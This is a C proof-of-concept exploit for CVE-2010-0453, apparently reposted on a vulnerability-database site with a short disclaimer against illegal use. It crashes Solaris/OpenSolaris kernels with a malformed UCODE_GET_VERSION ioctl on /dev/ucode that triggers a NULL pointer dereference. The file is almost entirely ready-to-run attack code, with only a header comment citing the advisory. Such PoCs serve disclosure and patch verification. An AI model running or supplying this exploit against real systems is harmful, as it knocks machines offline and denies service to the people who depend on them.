/* * cve-2010-0453.c -- Patroklos Argyroudis, argp at domain census-labs.com * * Denial of service (kernel panic) PoC exploit for the UCODE_GET_VERSION * ioctl NULL pointer dereference vulnerability on Solaris/OpenSolaris: * * http://www.trapkit.de/advisories/TKADV2010-001.txt * http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-0453 * * Greets to Tobias Klein for discovering the vulnerability and for his * detailed (as always) advisory. * * $Id: cve-2010-0453.c,v 35da14215c84 2010/02/07 19:15:13 argp $ */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <stropts.h> #include <sys/mman.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #define BUF_SIZE 64 #define UCODE_DEV "/dev/ucode" #define UCODE_IOC (('u' << 24) | ('c' << 16) | ('o' << 8)) #define UCODE_GET_VERSION (UCODE_IOC | 0) typedef enum ucode_errno { EM_OK, EM_FILESIZE, EM_OPENFILE, EM_FILEFORMAT, EM_HEADER, EM_CHECKSUM, EM_INVALIDARG, EM_NOMATCH, EM_HIGHERREV, EM_NOTSUP, EM_UPDATE, EM_SYS, EM_NOVENDOR, EM_NOMEM } ucode_errno_t; struct ucode_get_rev_struct { uint32_t *ugv_rev; int ugv_size; ucode_errno_t ugv_errno; }; int main() { int fd, ret; uint32_t buf[BUF_SIZE]; struct ucode_get_rev_struct in_h; memset(buf, 0x41, BUF_SIZE); in_h.ugv_rev = buf; in_h.ugv_size = 0; fd = open(UCODE_DEV, O_RDONLY); ret = ioctl(fd, UCODE_GET_VERSION, &in_h); printf("[+] ret = %d\n", ret); printf("[+] ugv_errno = %d\n", in_h.ugv_errno); close(fd); return ret; } /* EOF */
※Any content provided by this site, only to learn the code and services, not for illegal purposes
您的会员可兑换次数还剩: 次 本次兑换将消耗 1 次
please call the customer service hotline to recharge, thank you for your continued support Seebug!
Unavailable Comments